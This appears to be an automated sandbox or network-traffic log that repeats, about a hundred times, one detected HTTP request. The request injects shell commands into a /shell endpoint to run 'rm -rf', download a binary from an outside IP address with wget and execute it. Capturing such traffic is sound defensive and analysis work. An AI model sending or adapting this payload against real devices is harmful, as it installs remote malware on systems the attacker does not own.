Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://45.95.169.146/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
